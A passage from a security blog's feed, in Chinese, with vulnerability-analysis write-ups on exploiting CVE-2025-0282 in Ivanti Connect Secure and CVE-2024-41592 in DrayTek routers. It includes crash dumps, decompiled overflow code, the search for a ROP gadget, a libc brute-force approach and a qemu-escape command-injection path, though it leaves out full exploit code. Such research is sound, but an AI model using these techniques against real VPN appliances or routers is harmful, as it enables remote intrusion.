|..U.............|</span><br><span class="line">&lt; 0010:  00 0a 4c 01                                       |..L.|</span><br><span class="line">&gt; 0000:  00 00 55 97 00 00 00 06  00 00 00 22 00 00 00 02  |..U........&quot;....|</span><br><span class="line">&gt; 0010:  00 0a 4c 01 02 01 00 0e  01 61 6e 6f 6e 79 6d 6f  |..L......anonymo|</span><br><span class="line">&gt; 0020:  75 73                                             |us|</span><br></pre></td></tr></table></figure><p>可以看到构超级长的 <code>ientCapabilities</code> 参数的时候就会栈溢出</p><p>free 的 崩溃现场</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line">eax            0x0      0</span><br><span class="line">edi            0xff856370       -8035472</span><br><span class="line">esi            0x1      1</span><br><span class="line">edx            0xf1a8d004       -240594940</span><br><span class="line">&#x3D;&gt; 0xf4f73d1d &lt;free+45&gt;:        mov    esi,DWORD PTR [ecx-0x4]</span><br><span class="line">   0xf4f73d20 &lt;free+48&gt;:        lea    edx,[ecx-0x8]</span><br><span class="line">   0xf4f73d23 &lt;free+51&gt;:        test   esi,0x2</span><br><span class="line">   0xf4f73d29 &lt;free+57&gt;:        jne    0xf4f73d58 &lt;free+104&gt;</span><br><span class="line">   0xf4f73d2b &lt;free+59&gt;:        and    esi,0x4</span><br><span class="line">0xff856110:     0x56723200      0x566dd509      0x566ecbc7      0xf4f73cf8</span><br><span class="line">0xff856120:     0xf7a26000      0x00000001      0xff856370      0xf6d6535f</span><br><span class="line">0xff856130:     0x41414141      0x00000032      0xf7f3abc9      0x5671d000</span><br><span class="line">0xff856140:     0x5671d000      0x56723200      0x00000001      0x5669a4e8</span><br><span class="line">0xff856150:     0xff856370      0x00000289      0x566ed87c      0x566d7c7f</span><br><span class="line">0xf4f73d1d in free () from &#x2F;lib&#x2F;libc.so.6</span><br><span class="line">(gdb) bt</span><br><span class="line">#0  0xf4f73d1d in free () from &#x2F;lib&#x2F;libc.so.6</span><br><span class="line">#1  0xf6d6535f in DSUtilMemPool::~DSUtilMemPool() () from &#x2F;home&#x2F;ecbuilds&#x2F;int-rel&#x2F;sa&#x2F;22.7&#x2F;bld3431.1&#x2F;install&#x2F;lib&#x2F;libdsplibs.so</span><br><span class="line">#2  0x5669a4e8 in ?? ()</span><br><span class="line">#3  0x5669ae7b in ?? ()</span><br><span class="line">#4  0xf5fd0565 in IftTlsParser::parse(unsigned char const*, unsigned int) () from &#x2F;home&#x2F;ecbuilds&#x2F;int-rel&#x2F;sa&#x2F;22.7&#x2F;bld3431.1&#x2F;install&#x2F;lib&#x2F;libdsagentd.so</span><br><span class="line">#5  0xf5fd084e in IftTlsParser::parseData(unsigned char const*, unsigned int) () from &#x2F;home&#x2F;ecbuilds&#x2F;int-rel&#x2F;sa&#x2F;22.7&#x2F;bld3431.1&#x2F;install&#x2F;lib&#x2F;libdsagentd.so</span><br><span class="line">#6  0x56696e48 in ?? ()</span><br><span class="line">#7  0x566133d5 in ?? ()</span><br><span class="line">#8  0x56614446 in ?? ()</span><br><span class="line">#9  0x56614d40 in ?? ()</span><br><span class="line">#10 0xf6c4942e in ?? () from &#x2F;home&#x2F;ecbuilds&#x2F;int-rel&#x2F;sa&#x2F;22.7&#x2F;bld3431.1&#x2F;install&#x2F;lib&#x2F;libdsplibs.so</span><br><span class="line">#11 0xf6c49f2f in DSEvntFds::runDispatcher() () from &#x2F;home&#x2F;ecbuilds&#x2F;int-rel&#x2F;sa&#x2F;22.7&#x2F;bld3431.1&#x2F;install&#x2F;lib&#x2F;libdsplibs.so</span><br><span class="line">#12 0x5663f477 in ?? ()</span><br><span class="line">#13 0x565e0a37 in main ()</span><br><span class="line">(gdb) p&#x2F;x 0x5669a4e8  - $base</span><br><span class="line">$1 &#x3D; 0xe54e8</span><br><span class="line">(gdb) i er ecx</span><br><span class="line">Undefined info command: &quot;er ecx&quot;.  Try &quot;help info&quot;.</span><br><span class="line">(gdb) i r ecx</span><br><span class="line">ecx            0x41414141       1094795585</span><br><span class="line">(gdb)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">void __cdecl EPMessage::~EPMessage(EPMessage *this)</span><br><span class="line">&#123;</span><br><span class="line">  DSHash::~DSHash((EPMessage *)((char *)this + 4));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">0xf6d0fb31 in DSHash::~DSHash() () from &#x2F;home&#x2F;ecbuilds&#x2F;int-rel&#x2F;sa&#x2F;22.7&#x2F;bld3431.1&#x2F;install&#x2F;lib&#x2F;libdsplibs.so</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="exploit"><a href="#exploit" class="headerlink" title="exploit"></a>exploit</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">memset</span>(dest, <span class="number">0</span>, <span class="keyword">sizeof</span>(dest));</span><br><span class="line"><span class="built_in">strncpy</span>(dest, (<span class="keyword">const</span> <span class="keyword">char</span> *)a1-&gt;clientCapabilities, v23);<span class="comment">// overflow</span></span><br><span class="line">v24 = <span class="number">46</span>;</span><br><span class="line">v25 = &amp;v57;</span><br><span class="line"><span class="keyword">if</span> ( ((<span class="keyword">unsigned</span> __int8)&amp;v57 &amp; <span class="number">2</span>) != <span class="number">0</span> )</span><br><span class="line">&#123;</span><br><span class="line">  LOBYTE(v24) = <span class="number">44</span>;</span><br><span class="line">  v57 = <span class="number">0</span>;</span><br><span class="line">  v25 = (__int16 *)&amp;v58;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">memset</span>(v25, <span class="number">0</span>, <span class="number">4</span> * (v24 &gt;&gt; <span class="number">2</span>));</span><br><span class="line">v26 = &amp;v25[<span class="number">2</span> * (v24 &gt;&gt; <span class="number">2</span>)];</span><br><span class="line"><span class="keyword">if</span> ( (v24 &amp; <span class="number">2</span>) != <span class="number">0</span> )</span><br><span class="line">  *v26 = <span class="number">0</span>;</span><br><span class="line">na = <span class="number">46</span>;</span><br><span class="line">(*(<span class="keyword">void</span> (__cdecl **)(struct_a1 *, __int16 *))(*(_DWORD *)a1-&gt;gap0 + <span class="number">72</span>))(a1, &amp;v57);</span><br></pre></td></tr></table></figure><p>在溢出之后有一个函数指针的调用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">mov     edx, [esp+0A0Ch+var_9E0]</span><br><span class="line">mov     eax, [esp+2576]</span><br><span class="line">mov     eax, [eax]</span><br><span class="line">mov     [esp+0A0Ch+src], edx</span><br><span class="line">; 395:     na &#x3D; 46;</span><br><span class="line">mov     edx, [esp+0A0Ch+arg_0]</span><br><span class="line">mov     [esp+0A0Ch+n], 2Eh ; &#39;.&#39; ; int</span><br><span class="line">mov     [esp+0A0Ch+var_A0C], edx</span><br><span class="line">call    dword ptr [eax+48h]</span><br></pre></td></tr></table></figure><p>这里是一个this 指针调用虚表函数的功能， 由于虚表指针在栈上， 这个栈是可以被我们覆盖的， 所以我们大概率就是需要找到一个虚表指针，他指向的虚表函数表， 这个表 +0x48 能有合适的gadget， 我一开始的思路是去找所有的虚表定义，看看有没有合适的， 可惜我没有找到， 于是我回到 <a href="https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/">https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/</a> 这个文章<sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ ">[2]</span></a></sup>，观察这个作者的 <code>A Gadget From The Gods</code> ， 最后我用的大概率也是做这个找到的这个gadget<br><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-7ebb63e11446ebcb90d9700b46299a8b-cf5a79.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-7ebb63e11446ebcb90d9700b46299a8b-cf5a79.png" alt="image.png"></a></p><p>在这文章<sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ ">[2]</span></a></sup>中作者提到了他的 gadget 的具体汇编，第一句是<code>mov ebx, 0xfffffff0 </code>， 第二句是 <code>add esp, 0x204C</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">+--------------------------+</span><br><span class="line">| gadget_0[0x48]           |</span><br><span class="line">+--------------------------+</span><br><span class="line">| mov ebx, 0xfffffff0      | &lt;- Load value into EBX</span><br><span class="line">+--------------------------+</span><br><span class="line">| add esp, 0x204C          | &lt;- Adjust stack pointer</span><br><span class="line">+--------------------------+</span><br><span class="line">| mov eax, ebx             | &lt;- Copy EBX to EAX</span><br><span class="line">+--------------------------+</span><br><span class="line">| pop ebx                  | &lt;- Restore EBX</span><br><span class="line">+--------------------------+</span><br><span class="line">| pop esi                  | &lt;- Restore ESI</span><br><span class="line">+--------------------------+</span><br><span class="line">| pop edi                  | &lt;- Restore EDI</span><br><span class="line">+--------------------------+</span><br><span class="line">| pop ebp                  | &lt;- Restore EBP</span><br><span class="line">+--------------------------+</span><br><span class="line">| ret                      | &lt;- Return to caller</span><br><span class="line">+--------------------------+</span><br></pre></td></tr></table></figure><p>于是我采用了一个最笨的方法， 将所有引用的 lib 库全部objdump 一遍， 然后去grep </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">objdump --x86-asm-syntax=intel -D  $(find . -name <span class="string">&quot;libagentdcs.so&quot;</span>) 2&gt;&amp;1 &gt; libagentdcs.so.so.txt</span><br><span class="line"></span><br><span class="line">cat ibdsplibs.txt|grep -e <span class="string">&quot;add\tesp, 0x204c&quot;</span></span><br></pre></td></tr></table></figure><p>在<code>libdsplibs.so</code> 的  <code>0x93849C</code> 地址找到了这个 gadget ，意料之外的是这里具体居然是个 swithc table 表</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-89564e17d217fee0e6c12ed9f7bfcaee-6ad36d.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-89564e17d217fee0e6c12ed9f7bfcaee-6ad36d.png" alt="image.png"></a></p><p>按照代码逻辑， 我们只要反着算就行， 例如我们这里最后 <code>vtable</code> 的地址是 <code>0x11D8940</code>， 那么就需要有一个地址存储这个指针， 直接在 ida 的binary search 里搜索</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-0799c44da550e4b6c66a26cee2362600-6dbaf5.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-0799c44da550e4b6c66a26cee2362600-6dbaf5.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-875e3f9387a3a87c2deabbf7904f8d07-01608c.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-15-875e3f9387a3a87c2deabbf7904f8d07-01608c.png" alt="image.png"></a></p><p>找到一个这个， 所以我们最后要覆盖的<code>this</code> 指针地址为  <code>0x00934F4C</code>， 后面正常 rop 就行， 这里提一句 libc的随机化是 0xfff 位， 多核启动的时候会有一个主进程不断的fork子进程，因此我们爆破 0xfff次就一定能成功执行</p><p>拿到的权限是  nr 权限</p><pre><code class="bash">bash-4.2$ ididuid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0bash-4.2$</code></pre><p>完整的ROP链也留给读者实现了。</p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">OpenConnect https://www.infradead.org/openconnect/download.html<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/<a href="#fnref:2" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="vpn" scheme="https://bestwing.me/tags/vpn/"/>
    
    <category term="cve-2025-0282" scheme="https://bestwing.me/tags/cve-2025-0282/"/>
    
    <category term="pulse" scheme="https://bestwing.me/tags/pulse/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2024-41592 vigor 栈溢出漏洞分析</title>
    <link href="https://bestwing.me/CVE-2024-41592-vigor-stack-overflow.html"/>
    <id>https://bestwing.me/CVE-2024-41592-vigor-stack-overflow.html</id>
    <published>2024-12-30T08:18:59.000Z</published>
    <updated>2026-02-11T09:23:12.190Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="TL；DR"><a href="#TL；DR" class="headerlink" title="TL；DR"></a>TL；DR</h2><p>这个漏洞其实是分析于今年11月份，鉴于今年只更新了四篇博客，所以就把这篇也拿出来了。这也是大概率今年最后一篇博客了。</p><p>CVE-2024-41592 是 forescout 一篇为 《Breaking Into DrayTekRouters  Before Threat Actors Do It Again》<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="《Breaking Into DrayTekRouters  Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/">[1]</span></a></sup>的漏洞报告其中的一个漏洞。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-6b5f0a0c315e1db6c4d723f24612317e-64f1cb.png" title="image-20241230143455676" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-6b5f0a0c315e1db6c4d723f24612317e-64f1cb.png" alt="image-20241230143455676"></a></p><p>漏洞产生于 <code>GetCGI()</code> 函数中， 在该函数中处理字符串参数会造成越界导致栈溢出。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="固件解压和调试准备"><a href="#固件解压和调试准备" class="headerlink" title="固件解压和调试准备"></a>固件解压和调试准备</h3><p>这里以Draytek 3910的 4.3.1 的版本作为调试 测试版本，进行展开分析。固件的解密和解压不展开赘述，可以参考之前 《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》 <sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》https://www.youtube.com/watch?v=CD8HfjdDeuM">[2]</span></a></sup>slide 或者其他研究员的文章。</p><p>解压后能在 <code>rootfs/firmware/vqemu/sohod64.bin</code> 目录下找到主程序， Draytek 3910 采用了奇葩的 Linux + Qemu + RTOS 的奇葩架构，即在 arm linux操作系统上使用qemu 运行 drayos 的RTOS 操作系统。这里的调试方式采用的是使用编译 Draytek 开源的qemu代码进行编译，然后就可以正常调试。</p><p>调试之前需要对 <code>firmware/setup_qemu_linux.sh</code>  和 <code>run_linux.sh</code> 进行部分修改， 例如对<code>run_linux.sh</code> 在 <code>qemu-system-aarch64</code> 添加 <code>-s</code> 参数方便用于调试</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-1ce715fd2ea9299f784ff57860356b46-b91a0b.png" title="image-20241230145133293" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-1ce715fd2ea9299f784ff57860356b46-b91a0b.png" alt="image-20241230145133293"></a></p><h3 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h3><p>我们通过一个有符号的 <code>draytek 2830</code> 的固件来快速定位到Draytek 3910 4.3.1的 <code>GetCGI()</code> 函数， 或者直接对 <code>QUERY_STRING</code> 字符串进行交叉引用。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-145d8619e1fa905c0dcc329ef7df2a99-49555b.png" title="image-20241230145702255" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-145d8619e1fa905c0dcc329ef7df2a99-49555b.png" alt="image-20241230145702255"></a></p><p>在各个 cgi 处理函数的时候都会进行一次 <code>GetCGI</code> 函数的调用来处理参数。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-11-14-9864f037c027870fc256a97cfa7ae64b-dd3b67.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-11-14-9864f037c027870fc256a97cfa7ae64b-dd3b67.png" alt="image.png"></a></p><p>在这个函数（GetCGI）里面，当有 <code>&amp;</code> 出现， 就会通过 <code>makeword</code> 函数生成一个内存空间，然后将地址赋值到栈上， 这个函数的部分逻辑伪代码如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">v19 = sub_400BFA18(<span class="string">&quot;REQUEST_METHOD&quot;</span>, a3);</span><br><span class="line"> <span class="keyword">if</span> ( v19 )</span><br><span class="line"> &#123;</span><br><span class="line">   <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(v19, <span class="string">&quot;GET&quot;</span>) )</span><br><span class="line">   &#123;</span><br><span class="line">     v18 = sub_400BFA18(<span class="string">&quot;QUERY_STRING&quot;</span>, a3);</span><br><span class="line">     <span class="keyword">if</span> ( !v18 )</span><br><span class="line">       <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">     idx = <span class="number">0</span>;</span><br><span class="line">     <span class="keyword">while</span> ( *v18 )</span><br><span class="line">     &#123;</span><br><span class="line">       *(a2 + <span class="number">8</span> * idx) = makeword(v18, <span class="string">&#x27;&amp;&#x27;</span>);   <span class="comment">// overflow</span></span><br><span class="line">       plustospace(*(a2 + <span class="number">8</span> * idx));</span><br><span class="line">       unescape_url(*(a2 + <span class="number">8</span> * idx));</span><br><span class="line">       v16 = safe_strcrh(*(a2 + <span class="number">8</span> * idx), <span class="string">&#x27;=&#x27;</span>);</span><br><span class="line">       <span class="keyword">if</span> ( v16 )</span><br><span class="line">       &#123;</span><br><span class="line">         *v16 = <span class="number">0</span>;</span><br><span class="line">         *(a2 + <span class="number">8</span> * idx + <span class="number">4LL</span>) = v16 + <span class="number">1</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">else</span></span><br><span class="line">       &#123;</span><br><span class="line">         *(a2 + <span class="number">8</span> * idx + <span class="number">4LL</span>) = <span class="number">0</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       ++idx;</span><br><span class="line">     &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>这里的 <code>(a2 + 8 * idx）</code> 在栈上， 当输入过多的 <code>&amp;</code> 就有如下的效果：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-dc9300c9bae250d1989e1483c332886e-7ffdd5.png" title="image-20241230150417353" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-dc9300c9bae250d1989e1483c332886e-7ffdd5.png" alt="image-20241230150417353"></a> </p><p>会有一堆指针覆盖栈上的变量， 甚至能覆盖到返回地址。</p><h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>虽然我们在<code>GetCGI()</code> 函数中覆盖到了返回地址， 但是在各个 CGI 函数结尾的时候会有一个 <code>FreeCtrlName</code> 函数的调用， 该函数会将将覆盖掉得返回地址的指针置零。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-0932f8da17538fdaa0158e1bc3559a06-3cd379.png" title="image-20241230152340712" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-0932f8da17538fdaa0158e1bc3559a06-3cd379.png" alt="image-20241230152340712"></a></p><p>也正如原文章所说的， 我们需要绕过这个函数</p><blockquote><p>Although this seems straightforward, challenges exist. Consider the “FreeCtrlName()” function called when a<br>CGI handler returns (Figure 13). This function “frees” all the POST/GET request data structures, including the<br>query string buffer. It simply iterates over the 32-bit pointers located in the lower 4 bytes of the stack<br>21<br>DRAY:BREAK - BREAKING INTO DRAYTEK ROUTERS BEFORE THREAT ACTORS DO IT AGAIN<br>addresses and frees them, zeroing out the pointer values as well. Oddly, the higher 4-byte addresses (e.g.,<br>pointers to query string parameters values) are never freed</p></blockquote><p> <code>FreeCtrlName</code> 函数伪代码如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">FreeCtrlName</span><span class="params">(__int64 result)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [xsp+1Ch] [xbp+1Ch]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [xsp+2Ch] [xbp+2Ch]</span></span><br><span class="line"></span><br><span class="line">  v1 = result;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; *(v1 + <span class="number">8</span> * i); ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    result = sub_4061D7CC(*(v1 + <span class="number">8</span> * i), <span class="number">0x154</span>u);</span><br><span class="line">    *(v1 + <span class="number">8</span> * i) = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个函数的 free 逻辑是， 遍历栈上的指针， 一直free 直到为 0 为止， 因此我们需要找到一个函数可以在栈上写一个 0 ， 这样就能避免这个问题。在原文<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="《Breaking Into DrayTekRouters  Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/">[1]</span></a></sup> 甚至后来 12月在 Blackhat  EU 《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》<sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》 https://i.blackhat.com/EU-24/Presentations/EU24-Dashevskyi-When-Remote-Shells-Fall-Into-The-Same-Hole.pdf">[3]</span></a></sup>的slide 上都没有提及这个所谓的 <code>[vulnerable-cgi-page].cgi</code> 是什么。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-677ab3daf16580c015818aea0a644423-2dbaae.png" title="image-20241230151257971" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-677ab3daf16580c015818aea0a644423-2dbaae.png" alt="image-20241230151257971"></a></p><p>但是通过一些途径我们还是能找到这个能设置 0 的 cgi ， 思路也是比较简单</p><ol><li><p>首先先将所有的 CGI 调用函数定义出来，</p></li><li><p>过滤出不需要授权的 CGI 函数 </p><p>粗浅的记得是只要函数里没有 <code>CGIbyFieldName = GetCGIbyFieldName(v6 + 32, &quot;sFormAuthStr&quot;);</code>的调用就不需要授权</p></li><li><p>猜想哪些函数可以写 0 ， 例如 <code>atoi(query_string)</code>, query_string 是 HTTP 请求传入的参数</p></li></ol><p>通过以上操作，我们其实很快就能找到一个<strong>不用授权、且参数可控可写 0</strong>  的CGI。最后的效果就是我们可以控制返回地址跳转到一个内容完全可控的地址里（内容为具体参数的内容）且由于程序运行在 qemu 环境上， 因此我们可以在目标地址上写入任意的shellcode。 但是我们需要逃逸到 qemu 外面， 本身程序提供了一个， <code>virtcons_out</code>  这个函数， 可以执行一些特殊的命令， 我们可以在第一个参数中拼接命令注入来在host上执行任意命令。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-86978ec206c26c32fda6fff0b251c6ad-8d1dbf.png" title="image-20241230154445770" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-12-30-86978ec206c26c32fda6fff0b251c6ad-8d1dbf.png" alt="image-20241230154445770"></a></p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">《Breaking Into DrayTekRouters  Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》https://www.youtube.com/watch?v=CD8HfjdDeuM<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》 https://i.blackhat.com/EU-24/Presentations/EU24-Dashevskyi-When-Remote-Shells-Fall-Into-The-Same-Hole.pdf<a href="#fnref:3" 